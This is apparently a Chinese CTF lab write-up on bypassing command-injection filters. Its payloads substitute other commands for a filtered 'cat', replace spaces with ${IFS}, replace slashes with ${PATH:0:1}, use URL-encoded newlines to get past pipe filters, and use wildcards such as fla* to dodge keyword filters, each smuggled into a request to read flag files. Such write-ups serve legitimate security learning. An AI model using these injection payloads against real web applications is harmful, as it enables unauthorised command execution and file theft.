1.开启靶场,提示过滤了cat命令
1.过滤了cat命令可以用其他的命令代替
(1)more
(2)head
(3)sort
等其他的命令替代
|ls
#显示flag文件
|ls flag
#显示flag文件
显示出flag852456.txt
| more flag/flag852456.txt
读取flag
读取到的flag,其实也可以直接访问这个文件。
2.过滤空格
${IFS}
${IFS}$1
$IFS+$1
<>
%09(php环境下)
通过上面三种方式可以绕过空格
但是只可以在命令和参数中进行绕过,用重定向符号时候会报错(>>)
显示flag文件夹下的flag文件
显示flag
|more${IFS}flag/flag294861.txt
3.过滤目录分割符
${PATH:0:1}(linux环境变量)
;使用分割号分割命令,这也是linux的管道符和&作用一样
flag文件
& cd flag && more flag357951.txt
;cd flag;cat flag357951.txt
|cat flag${PATH:0:1}flag357951.txt(没成功,可能是系统的问题)
3.综合过滤
过滤了各种管道符号,斜杠和空格然后还有flag和cat字符,逐一绕过就行
还可以在url输入%0a来执行换行操作,来绕过管道符号和;但是一定要直接输入到浏览器的地址栏上,否则就会被编码成%250a就会失效,%0d,%1a(windows)也可以做命令分割符号来绕过
%0als
一定要直接输入到地址栏中才行!!
%0Als${IFS}fla*
用通配符绕过flag限制
%0Amore$IFS$1fla*${PATH:0:1}fla*.txt (没成功)
%0amore$IFS$9fl*${PATH:0:1}fla*.txt (没成功)
%0Acd${IFS}fl*%0Amore${IFS}fla*.txt (成功)
%0A绕过管道和;
${PATH:0:1}绕过斜杆
${IFS}绕过空格
fa*通配符绕过flag
要我说只要知道了flag文件夹和flag文件名字直接读取就行了吧
IP/flag/flag753654.txt
这个靶机的flag文件是空的,我就随便写点东西进去就行了。
ps(在过滤目录分割符的时候${PATH:0:1}没有成功,不知道问什么,可能是靶机的原因,请各位大佬不吝赐教。)